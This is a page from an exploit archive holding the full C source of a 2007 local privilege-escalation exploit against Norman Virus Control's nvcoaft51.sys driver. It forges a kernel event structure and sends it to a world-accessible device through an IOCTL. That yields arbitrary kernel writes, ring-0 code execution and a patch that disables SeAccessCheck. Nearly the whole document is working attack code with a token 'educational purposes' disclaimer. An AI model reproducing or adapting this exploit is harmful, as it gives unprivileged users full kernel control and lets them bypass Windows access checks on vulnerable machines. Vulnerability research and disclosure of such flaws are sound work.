Home / exploits norton-local.txt
Posted on 31 August 2007
/* Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit Abstract nvcoaft51.sys driver receive as parameter in some ioctl's a pointer to a KEVENT struct, calling KeSetEvent without any prior check. The device created by the driver (NvcOa) can be opened by any user. As result, a user can send a IOCTL with a fake KEVENT struct and finish executing code at ring0 Author inocraM - inocram[at]48bits[dot]com 48bits I+D team www.48bits.com OS Tested against Windows XP SP2 (spanish) with a PAE kernel. For educational purposes ONLY */ #define _CRT_SECURE_NO_DEPRECATE #include <windows.h> #include <stdio.h> #define XPLT_KEVENT_IOCTL 0xbf672028 /* PSAPI */ typedef BOOL (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded); typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize); typedef struct _PS { HMODULE hLib; ENUM_DEVICE_DRIVERS pEnumDeviceDrivers; GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName; }PS, *PPS; VOID psUnload(PPS pps) { if(pps) { if(pps->hLib) { FreeLibrary(pps->hLib); } free(pps); } } PPS psLoad() { PPS pps; pps = (PPS) malloc(sizeof(PS)); if(pps) { pps->hLib = LoadLibraryA("psapi"); if(pps->hLib) { pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers"); pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA"); if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName) { psUnload(pps); pps = NULL; } } else { free(pps); pps = NULL; } } return pps; } BOOL psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded) { return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded); } DWORD psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize) { return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize); } LPVOID psGetImageBaseByBaseName(PPS pps, LPCSTR szName) { DWORD dwSize = 0; LPVOID *pDevices = NULL; LPVOID pResult = NULL; if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0)) { pDevices = (LPVOID*)malloc(dwSize); if(pDevices) { if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize)) { DWORD i = 0; DWORD dwNumberOfDrivers; dwNumberOfDrivers = dwSize / sizeof(LPVOID); while((i < dwNumberOfDrivers) && (NULL == pResult)) { char szBaseName[MAX_PATH]; if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName))) { if(!_stricmp(szBaseName,szName)) { pResult = pDevices[i]; } } i++; } } free(pDevices); } } return pResult; } /* OS detection */ #define OS_VERSION_UNKNOWN 0x00000000 #define OS_VERSION_NT 0x00010000 #define OS_VERSION_9X 0x00020000 #define OS_VERSION_WIN32S 0x00030000 #define OS_VERSION_NT4 OS_VERSION_NT + 0x00001000 #define OS_VERSION_2K OS_VERSION_NT + 0x00002000 #define OS_VERSION_XP OS_VERSION_NT + 0x00003000 #define OS_VERSION_2K3 OS_VERSION_NT + 0x00004000 #define OS_VERSION_VISTA OS_VERSION_NT + 0x00005000 #define OS_VERSION_95 OS_VERSION_9X + 0x00001000 #define OS_VERSION_98 OS_VERSION_9X + 0x00002000 #define OS_VERSION_ME OS_VERSION_9X + 0x00003000 DWORD GetWindows9xVersion(POSVERSIONINFOEXA posvi) { DWORD dwVersion; if(posvi->dwMajorVersion == 4) { switch(posvi->dwMinorVersion) { case 0: dwVersion = OS_VERSION_95; break; case 10: // TODO : we need extra code. this can be Windows ME dwVersion = OS_VERSION_98; break; case 90: dwVersion = OS_VERSION_ME; break; default: dwVersion = OS_VERSION_UNKNOWN; } } else { dwVersion = OS_VERSION_UNKNOWN; } return dwVersion; } DWORD GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack) { DWORD dwVersion; switch(posvi->dwMajorVersion) { case 6: dwVersion = OS_VERSION_VISTA; break; case 5: switch(posvi->dwMinorVersion) { case 2: dwVersion = OS_VERSION_2K3; break; case 1: dwVersion = OS_VERSION_XP; break; case 0: dwVersion = OS_VERSION_2K; break; default: dwVersion = OS_VERSION_UNKNOWN; } break; case 4: case 3: case 2: case 1: case 0: dwVersion = OS_VERSION_NT4; break; default: dwVersion = OS_VERSION_UNKNOWN; } // TODO : dont work correctly in various windows Versions. fix it. if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack)) { if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize) { (*pServicePack) = posvi->wServicePackMajor; } else { // TODO : parse szCSDVersion } } return dwVersion; } // TODO : doesnt find correct SP for various windows versions, fix! DWORD GetWindowsVersionBase(PUINT pServicePack) { OSVERSIONINFOEXA osvi; DWORD dwVersion; if(pServicePack) { (*pServicePack) = 0; } memset(&osvi, 0, sizeof(OSVERSIONINFOEXA)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA); if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi)) { osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if(!GetVersionExA((LPOSVERSIONINFOA)&osvi)) { return OS_VERSION_UNKNOWN; } } switch(osvi.dwPlatformId) { case VER_PLATFORM_WIN32_NT: dwVersion = GetWindowsNtVersion(&osvi, pServicePack); break; case VER_PLATFORM_WIN32_WINDOWS: dwVersion = GetWindows9xVersion(&osvi); break; case VER_PLATFORM_WIN32s: dwVersion = OS_VERSION_WIN32S; break; default: dwVersion = OS_VERSION_UNKNOWN; } return dwVersion; } DWORD GetWindowsVersion(PUINT pServicePack) { static BOOL bFirstCall = TRUE; static DWORD OsVersion; static UINT ServicePack; if(bFirstCall) { OsVersion = GetWindowsVersionBase(&ServicePack); bFirstCall = FALSE; } if(pServicePack) { (*pServicePack) = ServicePack; } return OsVersion; } HANDLE OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode) { return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL); } VOID CloseDevice(HANDLE hDevice) { CloseHandle(hDevice); } BOOL xpltCheckWindowsVersion() { DWORD dwOsVersion; BOOL bResult = FALSE; UINT ServicePack; printf("(*)Checking OS Version... "); dwOsVersion = GetWindowsVersion(&ServicePack); if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2)) { printf("(+)Detected Windows XP SP2. "); bResult = TRUE; } else { printf("(-)This exploit only runs on Windows XP SP2. Sorry. "); } return bResult; } HANDLE xpltOpenNvc0a() { HANDLE hDevice; printf("(*)Opening NvcOa device... "); hDevice = OpenDevice("\\.\NvcOa", GENERIC_READ + GENERIC_WRITE, 0); if(INVALID_HANDLE_VALUE != hDevice) { printf("(+)Successfully opened NvcOa. "); } else { printf("(-)Unable to open NvcOa. Sorry. "); } return hDevice; } VOID xpltCloseNvc0a(HANDLE hDevice) { CloseDevice(hDevice); printf("(+)NvcOa device closed. "); } PPS xpltInitializePsApi() { PPS pps; printf("(*)Loading PSAPI... "); pps = psLoad(); if(NULL != pps) { printf("(+)PSAPI loaded OK. "); } else { printf("(-)Unable to load PSAPI. Sorry. "); } return pps; } VOID xpltFreePsApi(PPS pps) { psUnload(pps); printf("(+)PSAPI Unloaded. "); } LPBYTE xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel) { LPBYTE pKernelBase; printf("(*)Looking for NTOSKRNL base... "); (*pbPaeKernel) = FALSE; pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE"); if(pKernelBase) { printf("(+)NTOSKRNL base found at %#x. ",pKernelBase); } else { pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE"); if(pKernelBase) { printf("(+)NTOSKRNL(PAE) base found at %#x. ",pKernelBase); if(pbPaeKernel) { (*pbPaeKernel) = TRUE; } } else { printf("(-)Unable to find NTOSKRNL base. Sorry. "); } } return pKernelBase; } /* when the ioctl with a fake event structure is sent a dword with the opcode "jmp[ecx]" is written and this code is reached. Be careful writing your own shellcode. Remember that u are at DPC level */ __declspec(naked) void xpltPatchAndGo (void) { __asm { add esp,4 pop esi /* get a return addr to use as reference */ mov dword ptr[esi-0x60], 0x8B047289 /* patch the jmp[ecx] with the correct code */ mov word ptr[esi+0xE5303], 0x9090 /* patch SeAccessCheck :o) */ mov esp, ebp /* reconstruct the stack */ add esp, 0x10 xor bl, bl /* set IRQL value */ xor edi, edi /* set return value */ sub esi, 0x759F push esi /* set retun address... */ ret /* and go */ } } VOID xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel) { #ifdef _DEBUG DebugBreak(); #endif if(!bPaeKernel) { printf("(-)This exploit is only runs on a PAE kernel system. Sorry. "); } else { DWORD dwReturnedBytes; DWORD Buffer[1024]; /* user buffer size is not checked */ /* properly so i use a big enough buffer */ /* and i dont worry abaut it */ DWORD Event[31]; /* our event struct */ printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln... "); printf("(*)Writing fake event struct... "); *(BYTE*)Event = 1; /* set event type as Synchronization Event */ Event[2] = (DWORD)&(Event[3]); /* set event wait list as not empty so in */ /* event[3] start the first wait block */ Event[3] = (DWORD)&(Event[4]); /* set first element of the wait list */ /* event[4] will be our wait block */ ((WORD*)Event)[17] = 1; /* set the wait block type to WaitAny */ Event[5] = (DWORD)&(Event[7]); /* set the trhead for the wait block, so */ /* event[7] will be our thread start */ Event[7] = (DWORD)xpltPatchAndGo; /* i put the shellcode addr on the first */ /* dword of the thread. This value is not */ /* checked by KeSetEvent related code, and */ /* the event struct will remain referenced */ /* by ecx,so writing a jmp[ecx] the */ /* shellocde will be reached */ Event[30] = (DWORD)&(Event[10]); /* fill thread wait block list with data */ /* so in event[10] start this wait block. */ /* First two dwords of the kwait block */ /* struct are a list entry. system will */ /* try to remove a item from this double */ /* linked list, and as consecuence, we */ /* can write an arbitrary dword at any */ /* address */ Event[10] = 0x000021FF; /* first entry will be a opcode, jmp[ecx] */ Event[11] = (DWORD)(pNtosBase + 0x291B4); /* second entry will be the address of th */ /* next opcode addr, and as result we will */ /* jmp to our shellcode */ Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer */ /* and explit it :o) */ printf("(*)Sending IOCTL... "); DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL); printf("(+)IOCT sent. SeAccessCheck is now patched??? "); } } VOID xpltExecute() { if(xpltCheckWindowsVersion()) { PPS pps; pps = xpltInitializePsApi(); if(NULL != pps) { LPBYTE pKernelBase; BOOL bPaeKernel; pKernelBase = xpltGetKernelBase(pps,&bPaeKernel); if(NULL != pKernelBase) { HANDLE hDevice; hDevice = xpltOpenNvc0a(); if(INVALID_HANDLE_VALUE != hDevice) { xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel); xpltCloseNvc0a(hDevice); } } xpltFreePsApi(pps); } } } int main(int argc, char * argv[]) { UNREFERENCED_PARAMETER(argc); UNREFERENCED_PARAMETER(argv); #ifdef _DEBUG DebugBreak(); #endif xpltExecute(); return 0; }
